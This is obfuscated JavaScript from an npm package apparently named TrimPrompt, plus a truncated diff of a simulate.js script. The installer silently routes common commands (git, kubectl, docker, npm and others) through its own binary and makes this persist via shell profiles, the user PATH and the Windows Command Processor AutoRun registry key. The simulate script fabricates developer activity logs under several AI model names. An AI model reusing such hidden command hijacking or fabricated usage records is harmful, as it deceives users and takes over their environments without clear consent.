function(_0x5d8d83){const _0x39f908=a0_0x40f3;if(_0x5d8d83&&_0x5d8d83['__esModule'])return _0x5d8d83;var _0x59b2fd={};if(_0x5d8d83!=null){for(var _0x38c314=_0x4489fd(_0x5d8d83),_0x17b1ed=0x0;_0x17b1ed<_0x38c314[_0x39f908(0x184)];_0x17b1ed++)if(_0x38c314[_0x17b1ed]!=='default')__createBinding(_0x59b2fd,_0x5d8d83,_0x38c314[_0x17b1ed]);}return __setModuleDefault(_0x59b2fd,_0x5d8d83),_0x59b2fd;};}());Object['defineProperty'](exports,a0_0x1758bc(0x183),{'value':!![]}),exports['installShims']=installShims,exports['uninstallShims']=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1758bc(0x1bb))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x1758bc(0x1c8),a0_0x1758bc(0x1d1),a0_0x1758bc(0x19c),a0_0x1758bc(0x171),'rg',a0_0x1758bc(0x16e),a0_0x1758bc(0x15c),'gh',a0_0x1758bc(0x189),a0_0x1758bc(0x1c2),'npm',a0_0x1758bc(0x1c7),'npx','yarn','kubectl','docker',a0_0x1758bc(0x1b3),a0_0x1758bc(0x1ba),a0_0x1758bc(0x1b8),'go'],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function a0_0x3386(){const _0x517ecd=['powershell.exe','Failed\x20to\x20install\x20shims:\x20','\x0aexport\x20PATH=\x22','readFileSync','trim','existsSync','\x0a#\x20','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','pytest','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','pwsh','250398fzebPf','prototype','pip3','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','pip','path','\x20\x20set\x20\x22PATH=%PATH:','dirname','\x0a$env:PATH\x20=\x20\x22','\x22\x20set\x20\x22PATH=','\x20-NoProfile\x20-Command\x20\x22','\x20commands.\x0a\x0a','cargo','84152sMgYBS','\x20@args\x20}\x20else\x20{\x20&\x20','.cmd','$PROFILE.CurrentUserCurrentHost','pnpm','tree','push','includes','message',';=%\x22','child_process','\x20\x22$@\x22;\x20fi\x0a','rmdirSync','__importStar','cat','appendFileSync','trim.cmd','default','.bash_profile','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','New-Item\x20-Path\x20\x27','git','powershell\x20-NoProfile\x20-Command\x20\x22','682034FHeNYy','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','execFileSync','hasOwnProperty','15370480fdYmau',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','pipe','unlinkSync','\x20&\x20','getOwnPropertyDescriptor','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','Remove-ItemProperty\x20-Path\x20\x27','execSync','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','42AHdFgK','.zshrc','ruff','4tVVZqq','platform','grep',':$PATH\x22',')\x20else\x20(','@echo\x20off','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','utf8','join','9NSZxDL','configurable','defineProperty','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','\x27,\x20\x27User\x27)','-Command','Set-ItemProperty\x20-Path\x20\x27','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','.profile','writeFileSync','if\x20exist\x20\x22','__esModule','length','npm','getOwnPropertyNames','shims','-NoProfile','glab','117ZtQFjI','\x20%*','some','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','get','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','33555048PWyweT','.trimprompt','env','export\x20PATH=\x22','__setModuleDefault','755','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','6622960DsMWsw','11gzeHFR','homedir','toLowerCase','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','read','create','split','.bashrc','filter','\x20\x20trim\x20','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','mkdirSync','823532KXnYwD','replace','\x20@args\x20}\x0a','win32','Failed\x20to\x20uninstall\x20shims:\x20','ignore','APPDATA'];a0_0x3386=function(){return _0x517ecd;};return a0_0x3386();}function getExecSync(){const _0x2643f2=a0_0x1758bc;return require(_0x2643f2(0x1cd))[_0x2643f2(0x16a)];}function getExecFileSync(){const _0x42851c=a0_0x1758bc;return require('child_process')[_0x42851c(0x160)];}function ensureProfileContains(_0x2cccf9,_0x10d752,_0x14f7d0){const _0x599856=a0_0x1758bc;try{const _0x41c0ff=path[_0x599856(0x1bd)](_0x2cccf9);!fs[_0x599856(0x1b0)](_0x41c0ff)&&fs['mkdirSync'](_0x41c0ff,{'recursive':!![]});if(fs['existsSync'](_0x2cccf9)){const _0xb45ac0=fs[_0x599856(0x1ae)](_0x2cccf9,'utf8');if(_0xb45ac0[_0x599856(0x1ca)](_0x10d752))return;fs[_0x599856(0x1d2)](_0x2cccf9,_0x14f7d0,'utf8');}else fs[_0x599856(0x181)](_0x2cccf9,_0x14f7d0,_0x599856(0x176));}catch{}}function removeProfileBlock(_0xeb2463,_0xfaea34){const _0x54facc=a0_0x1758bc;try{if(!fs[_0x54facc(0x1b0)](_0xeb2463))return;const _0xf3bd31=fs[_0x54facc(0x1ae)](_0xeb2463,_0x54facc(0x176));if(!_0xf3bd31[_0x54facc(0x1ca)](_0xfaea34))return;const _0x35e923=_0xf3bd31['split']('\x0a'),_0x58b820=[];let _0x51a025=![];for(let _0x4d19f6=0x0;_0x4d19f6<_0x35e923[_0x54facc(0x184)];_0x4d19f6++){if(_0x35e923[_0x4d19f6]['includes'](_0xfaea34)){_0x51a025=!![];continue;}if(_0x51a025){_0x51a025=![];continue;}_0x58b820[_0x54facc(0x1c9)](_0x35e923[_0x4d19f6]);}const _0x381054=_0x58b820[_0x54facc(0x177)]('\x0a')[_0x54facc(0x1a5)](/\n{3,}/g,'\x0a\x0a');fs[_0x54facc(0x181)](_0xeb2463,_0x381054,_0x54facc(0x176));}catch{}}function collectPowerShellProfiles(){const _0x1ee638=a0_0x1758bc,_0x4421ce=getExecSync(),_0x539f58=[],_0x27a579=[['powershell',_0x1ee638(0x1c6)],['powershell','$PROFILE.CurrentUserAllHosts']];try{_0x4421ce(_0x1ee638(0x18f),{'stdio':'ignore'}),_0x27a579[_0x1ee638(0x1c9)]([_0x1ee638(0x1b5),'$PROFILE.CurrentUserAllHosts']);}catch{}for(const [_0x173ac8,_0x5b83a1]of _0x27a579){try{const _0x42a7cd=_0x4421ce(_0x173ac8+_0x1ee638(0x1c0)+_0x5b83a1+'\x22',{'encoding':'utf8'})[_0x1ee638(0x1af)]();_0x42a7cd&&!_0x539f58[_0x1ee638(0x18c)](_0x4c0a52=>_0x4c0a52['toLowerCase']()===_0x42a7cd[_0x1ee638(0x19a)]())&&_0x539f58[_0x1ee638(0x1c9)](_0x42a7cd);}catch{}}return _0x539f58;}function getBashProfilesWindows(){const _0x2a2dc6=a0_0x1758bc,_0x341d11=os[_0x2a2dc6(0x199)]();return[_0x2a2dc6(0x19f),_0x2a2dc6(0x1d5)]['map'](_0x4d6ed9=>path['join'](_0x341d11,_0x4d6ed9));}function a0_0x40f3(_0x282712,_0x21937c){const _0x338670=a0_0x3386();return a0_0x40f3=function(_0x40f37c,_0x190cca){_0x40f37c=_0x40f37c-0x15c;let _0x2391bb=_0x338670[_0x40f37c];return _0x2391bb;},a0_0x40f3(_0x282712,_0x21937c);}function getBroadcastCommand(){const _0x1403aa=a0_0x1758bc;return _0x1403aa(0x17f);}function installShims(){const _0x5a88eb=a0_0x1758bc,_0x3f4ab9=path[_0x5a88eb(0x177)](os[_0x5a88eb(0x199)](),_0x5a88eb(0x191),'shims');try{!fs[_0x5a88eb(0x1b0)](_0x3f4ab9)&&fs[_0x5a88eb(0x1a3)](_0x3f4ab9,{'recursive':!![]});const _0x431102=os['platform']()==='win32';for(const _0x1ac508 of SHIMMED_COMMANDS){if(_0x431102){const _0x1637de=path[_0x5a88eb(0x177)](_0x3f4ab9,_0x1ac508+_0x5a88eb(0x1c5)),_0x1da052=process[_0x5a88eb(0x192)][_0x5a88eb(0x1aa)]?path[_0x5a88eb(0x177)](process[_0x5a88eb(0x192)]['APPDATA'],_0x5a88eb(0x185)):'',_0x15c4c6=_0x1da052?_0x5a88eb(0x182)+path['join'](_0x1da052,_0x5a88eb(0x1d3))+'\x22':_0x5a88eb(0x1b2),_0x2ce9c9=[_0x5a88eb(0x174),_0x15c4c6+'\x20(',_0x5a88eb(0x1a1)+_0x1ac508+_0x5a88eb(0x18b),_0x5a88eb(0x173),_0x5a88eb(0x1bc)+_0x3f4ab9+_0x5a88eb(0x1cc),'\x20\x20'+_0x1ac508+_0x5a88eb(0x18b),')']['join']('\x0d\x0a')+'\x0d\x0a';fs[_0x5a88eb(0x181)](_0x1637de,_0x2ce9c9,'utf8');const _0x3ce799=path['join'](_0x3f4ab9,_0x1ac508+'.ps1'),_0x3ed521='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x1ac508+_0x5a88eb(0x1c4)+_0x1ac508+_0x5a88eb(0x1a6);fs[_0x5a88eb(0x181)](_0x3ce799,_0x3ed521,_0x5a88eb(0x176));const _0x13195e=path[_0x5a88eb(0x177)](_0x3f4ab9,_0x1ac508),_0x434e34=_0x3f4ab9[_0x5a88eb(0x1a5)](/\\/g,'/')[_0x5a88eb(0x1a5)](/^([A-Za-z]):/,(_0x40983b,_0x4fa32f)=>'/'+_0x4fa32f[_0x5a88eb(0x19a)]()),_0x42f267='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x1ac508+_0x5a88eb(0x1d6)+_0x434e34+_0x5a88eb(0x163)+_0x1ac508+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x5a88eb(0x181)](_0x13195e,_0x42f267,_0x5a88eb(0x176));}else{const _0x4bc5fd=path[_0x5a88eb(0x177)](_0x3f4ab9,_0x1ac508),_0x1ec10f=_0x5a88eb(0x1b4)+_0x1ac508+_0x5a88eb(0x1d7)+_0x1ac508+_0x5a88eb(0x1ce);fs[_0x5a88eb(0x181)](_0x4bc5fd,_0x1ec10f,_0x5a88eb(0x176)),fs['chmodSync'](_0x4bc5fd,_0x5a88eb(0x195));}}let _0x2919dc=![],_0x2672b8='';if(_0x431102)try{const _0x2d7a68=getExecSync(),_0x2520f4='\x0a#\x20'+PROFILE_MARKER+_0x5a88eb(0x1be)+_0x3f4ab9+';\x22\x20+\x20$env:PATH\x0a',_0x20a0b9=collectPowerShellProfiles();for(const _0x188071 of _0x20a0b9){ensureProfileContains(_0x188071,_0x3f4ab9,_0x2520f4);}try{const _0x56f6e2=getExecFileSync(),_0x46f1c0=_0x5a88eb(0x182)+_0x3f4ab9+_0x5a88eb(0x1bf)+_0x3f4ab9+';%PATH%\x22',_0x13154d='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor';let _0x5d56c3='';try{const _0x4dfb0b='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x13154d+_0x5a88eb(0x17b);_0x5d56c3=_0x56f6e2(_0x5a88eb(0x1ab),['-NoProfile','-Command',_0x4dfb0b],{'encoding':_0x5a88eb(0x176),'stdio':[_0x5a88eb(0x164),'pipe','ignore']})[_0x5a88eb(0x1af)]();}catch{}if(!_0x5d56c3[_0x5a88eb(0x1ca)](_0x3f4ab9)){const _0x1f3ad2=_0x5d56c3?_0x5d56c3+'\x20&\x20'+_0x46f1c0:_0x46f1c0,_0x1c5725=_0x5a88eb(0x1d8)+_0x13154d+_0x5a88eb(0x1a2)+_0x13154d+_0x5a88eb(0x196)+_0x1f3ad2+'\x27';_0x56f6e2(_0x5a88eb(0x1ab),['-NoProfile',_0x5a88eb(0x17d),_0x1c5725],{'stdio':'ignore'});}}catch{}try{const _0x1986f0=_0x3f4ab9[_0x5a88eb(0x1a5)](/\\/g,'/')[_0x5a88eb(0x1a5)](/^([A-Za-z]):/,(_0x4646e3,_0x256265)=>'/'+_0x256265[_0x5a88eb(0x19a)]()),_0x4aa090=_0x5a88eb(0x1b1)+PROFILE_MARKER+_0x5a88eb(0x1ad)+_0x1986f0+':$PATH\x22\x0a',_0x431bd8=getBashProfilesWindows();let _0x3161e6=![];for(const _0x1e33e4 of _0x431bd8){fs[_0x5a88eb(0x1b0)](_0x1e33e4)&&(ensureProfileContains(_0x1e33e4,_0x1986f0,_0x4aa090),_0x3161e6=!![]);}!_0x3161e6&&ensureProfileContains(_0x431bd8[0x0],_0x1986f0,_0x4aa090);}catch{}const _0xbebe99=_0x5a88eb(0x16b),_0x491722=_0x2d7a68(_0x5a88eb(0x15d)+_0xbebe99+'\x22',{'encoding':_0x5a88eb(0x176),'stdio':[_0x5a88eb(0x164),_0x5a88eb(0x164),_0x5a88eb(0x1a9)]})[_0x5a88eb(0x1af)]();if(!_0x491722[_0x5a88eb(0x1ca)](_0x3f4ab9)){const _0x8e1237=_0x3f4ab9+';'+_0x491722,_0x16d087=_0x8e1237[_0x5a88eb(0x1a5)](/'/g,'\x27\x27'),_0x5a9411='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x16d087+_0x5a88eb(0x17c);_0x2d7a68(_0x5a88eb(0x15d)+_0x5a9411+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}const _0x5c1d15=path[_0x5a88eb(0x177)](process[_0x5a88eb(0x192)][_0x5a88eb(0x1aa)]||'',_0x5a88eb(0x185),'trim.ps1');if(fs[_0x5a88eb(0x1b0)](_0x5c1d15))try{fs[_0x5a88eb(0x165)](_0x5c1d15);}catch{}_0x2919dc=!![];}catch(_0x43f097){_0x2672b8=_0x5a88eb(0x18d)+_0x3f4ab9;}else try{const _0x15d0d6=_0x5a88eb(0x193)+_0x3f4ab9+':$PATH\x22\x0a',_0x5e62cb=os[_0x5a88eb(0x199)](),_0x1511dc=[_0x5a88eb(0x19f),'.zshrc',_0x5a88eb(0x1d5),'.profile'];let _0x59f551=![];for(const _0x484a95 of _0x1511dc){const _0x3bf63f=path['join'](_0x5e62cb,_0x484a95);fs[_0x5a88eb(0x1b0)](_0x3bf63f)&&(ensureProfileContains(_0x3bf63f,_0x3f4ab9,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x15d0d6),_0x59f551=!![]);}if(!_0x59f551){const _0x1afd61=path[_0x5a88eb(0x177)](_0x5e62cb,_0x5a88eb(0x19f));ensureProfileContains(_0x1afd61,_0x3f4ab9,_0x5a88eb(0x1b1)+PROFILE_MARKER+'\x0a'+_0x15d0d6);}_0x2919dc=!![];}catch(_0x26dbb3){_0x2672b8=_0x5a88eb(0x15f)+_0x3f4ab9+_0x5a88eb(0x172);}const _0x5d1e95='TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20'+SHIMMED_COMMANDS['length']+_0x5a88eb(0x1c1),_0x12c797=_0x2919dc?_0x5d1e95+'[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.':_0x5d1e95+_0x5a88eb(0x19b)+_0x2672b8;return{'success':!![],'pathDir':_0x3f4ab9,'message':_0x12c797};}catch(_0x4edc3f){return{'success':![],'pathDir':_0x3f4ab9,'message':_0x5a88eb(0x1ac)+_0x4edc3f[_0x5a88eb(0x1cb)]};}}function uninstallShims(){const _0x5a85b1=a0_0x1758bc,_0x4586db=path['join'](os[_0x5a85b1(0x199)](),_0x5a85b1(0x191),_0x5a85b1(0x187)),_0x4fd8e2=os[_0x5a85b1(0x170)]()===_0x5a85b1(0x1a7);try{if(_0x4fd8e2){const _0x28c2eb=getExecSync();try{const _0x5889f4=getExecFileSync(),_0xe6714c=_0x5a85b1(0x175),_0x365270='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0xe6714c+_0x5a85b1(0x17b),_0x333807=_0x5889f4('powershell.exe',[_0x5a85b1(0x188),_0x5a85b1(0x17d),_0x365270],{'encoding':'utf8','stdio':[_0x5a85b1(0x164),_0x5a85b1(0x164),_0x5a85b1(0x1a9)]})['trim']();if(_0x333807[_0x5a85b1(0x1ca)](_0x4586db)){const _0x1034b2=_0x333807[_0x5a85b1(0x19e)](_0x5a85b1(0x166))[_0x5a85b1(0x1a0)](_0x4654eb=>!_0x4654eb[_0x5a85b1(0x1ca)](_0x4586db));if(_0x1034b2[_0x5a85b1(0x184)]===0x0){const _0x3dbded=_0x5a85b1(0x169)+_0xe6714c+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue';_0x5889f4(_0x5a85b1(0x1ab),[_0x5a85b1(0x188),_0x5a85b1(0x17d),_0x3dbded],{'stdio':_0x5a85b1(0x1a9)});}else{const _0x25fd47=_0x1034b2[_0x5a85b1(0x177)](_0x5a85b1(0x166)),_0xff452e=_0x5a85b1(0x17e)+_0xe6714c+_0x5a85b1(0x196)+_0x25fd47+'\x27';_0x5889f4(_0x5a85b1(0x1ab),[_0x5a85b1(0x188),_0x5a85b1(0x17d),_0xff452e],{'stdio':_0x5a85b1(0x1a9)});}}}catch{}try{const _0x3ac9f2=collectPowerShellProfiles();for(const _0x57bd2c of _0x3ac9f2){removeProfileBlock(_0x57bd2c,PROFILE_MARKER);}}catch{}try{for(const _0x2bd5ae of getBashProfilesWindows()){removeProfileBlock(_0x2bd5ae,PROFILE_MARKER);}}catch{}try{const _0x1c25c1=_0x5a85b1(0x16b),_0x4cc674=_0x28c2eb('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1c25c1+'\x22',{'encoding':_0x5a85b1(0x176),'stdio':[_0x5a85b1(0x164),_0x5a85b1(0x164),_0x5a85b1(0x1a9)]})[_0x5a85b1(0x1af)]();if(_0x4cc674[_0x5a85b1(0x1ca)](_0x4586db)){const _0x1e5f9d=_0x4cc674['split'](';')['filter'](_0x4da931=>_0x4da931[_0x5a85b1(0x1af)]()['toLowerCase']()!==_0x4586db[_0x5a85b1(0x19a)]())['join'](';'),_0x5956fa=_0x1e5f9d['replace'](/'/g,'\x27\x27'),_0x5d5c03=_0x5a85b1(0x1b9)+_0x5956fa+'\x27,\x20\x27User\x27)';_0x28c2eb(_0x5a85b1(0x15d)+_0x5d5c03+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x5a85b1(0x1a9)});}}catch{}}else{const _0x420ad3=os[_0x5a85b1(0x199)](),_0x15f53a=[_0x5a85b1(0x19f),_0x5a85b1(0x16d),_0x5a85b1(0x1d5),_0x5a85b1(0x180)];for(const _0x40189d of _0x15f53a){removeProfileBlock(path[_0x5a85b1(0x177)](_0x420ad3,_0x40189d),PROFILE_MARKER);}}if(fs[_0x5a85b1(0x1b0)](_0x4586db)){const _0x138b4b=fs['readdirSync'](_0x4586db);for(const _0x1ec76d of _0x138b4b){fs[_0x5a85b1(0x165)](path[_0x5a85b1(0x177)](_0x4586db,_0x1ec76d));}fs[_0x5a85b1(0x1cf)](_0x4586db);}return{'success':!![],'message':_0x5a85b1(0x168)};}catch(_0x4383ed){return{'success':![],'message':_0x5a85b1(0x1a8)+_0x4383ed['message']};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x753930=a0_0xeeca;(function(_0x2e60b9,_0x1adc33){const _0x1689fa=a0_0xeeca,_0x3249ac=_0x2e60b9();while(!![]){try{const _0x555a97=-parseInt(_0x1689fa(0x1db))/0x1*(-parseInt(_0x1689fa(0x1da))/0x2)+parseInt(_0x1689fa(0x1a3))/0x3*(parseInt(_0x1689fa(0x1c9))/0x4)+parseInt(_0x1689fa(0x1b2))/0x5*(parseInt(_0x1689fa(0x19e))/0x6)+-parseInt(_0x1689fa(0x1d6))/0x7+-parseInt(_0x1689fa(0x1ae))/0x8*(parseInt(_0x1689fa(0x1a6))/0x9)+parseInt(_0x1689fa(0x1bb))/0xa*(parseInt(_0x1689fa(0x1a4))/0xb)+-parseInt(_0x1689fa(0x1b4))/0xc;if(_0x555a97===_0x1adc33)break;else _0x3249ac['push'](_0x3249ac['shift']());}catch(_0x417791){_0x3249ac['push'](_0x3249ac['shift']());}}}(a0_0x4961,0xe9812));function a0_0xeeca(_0x12269f,_0x4f8d53){_0x12269f=_0x12269f-0x19e;const _0x49613a=a0_0x4961();let _0xeecac1=_0x49613a[_0x12269f];return _0xeecac1;}Object[a0_0x753930(0x1a5)](exports,a0_0x753930(0x1aa),{'value':!![]});const tracker_1=require(a0_0x753930(0x1ba));console['log'](a0_0x753930(0x1b3));function a0_0x4961(){const _0x5afc01=['raw','timestamp','floor','tracker','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','logExecution','npm\x20run\x20lint','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','homedir','repeat','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','4kvmStb','claude-3-5-sonnet','length','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','path','pip\x20install\x20tensorflow\x20pandas\x20numpy','kubectl\x20get\x20pods\x20-n\x20production','cmd','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','now','log','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','796124QqlFFC','gemini-1-5-pro','npm\x20run\x20lint:\x20✖\x202\x20warnings','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','36EYrvBZ','42639rykSFD','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','456zlHYdj','test\x20tests::test_case_','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','gemini-1-5-flash','claude-3-opus','1358427rDvfDW','22XmXoPi','defineProperty','261KLSfpv','exitCode','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','found\x200\x20vulnerabilities\x0a','__esModule','git\x20log\x20-n\x205','join','gpt-4o','28312FRSttX','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','git\x20diff\x20main','random','4810WEHQYS','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','11386896LFzPJd','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','gpt-4o-mini','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','npm\x20install\x20lodash\x20express\x20uuid\x20react','./tracker','4141410UPecpV','comp'];a0_0x4961=function(){return _0x5afc01;};return a0_0x4961();}const models=[a0_0x753930(0x1ca),a0_0x753930(0x1ad),a0_0x753930(0x1b7),a0_0x753930(0x1d7),a0_0x753930(0x1a1),a0_0x753930(0x1a2)],commands=[{'cmd':a0_0x753930(0x1b0),'raw':a0_0x753930(0x1c5)[a0_0x753930(0x1c7)](0x32),'comp':a0_0x753930(0x1c8),'exitCode':0x0},{'cmd':'cargo\x20test','raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x753930(0x19f)[a0_0x753930(0x1c7)](0x28)+a0_0x753930(0x1d2),'comp':a0_0x753930(0x1dd),'exitCode':0x0},{'cmd':a0_0x753930(0x1b9),'raw':a0_0x753930(0x1c4)+a0_0x753930(0x1cc)+a0_0x753930(0x1a9),'comp':'npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':a0_0x753930(0x1df)+a0_0x753930(0x1b6)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+'Completed\x203\x20of\x203\x20assets\x20successfully.','comp':'aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','exitCode':0x0},{'cmd':a0_0x753930(0x1cf),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x753930(0x1d5)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x753930(0x1b5)+'postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','comp':a0_0x753930(0x1b8),'exitCode':0x0},{'cmd':a0_0x753930(0x1ce),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0x753930(0x1af)+a0_0x753930(0x1c1),'comp':'pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','exitCode':0x0},{'cmd':a0_0x753930(0x1ab),'raw':a0_0x753930(0x1d1)+a0_0x753930(0x1de),'comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0x753930(0x1c3),'raw':a0_0x753930(0x1a8)+a0_0x753930(0x1dc)+a0_0x753930(0x1a0),'comp':a0_0x753930(0x1d8),'exitCode':0x0}],startTime=Date[a0_0x753930(0x1d3)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math[a0_0x753930(0x1bf)](Math[a0_0x753930(0x1b1)]()*commands['length'])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new 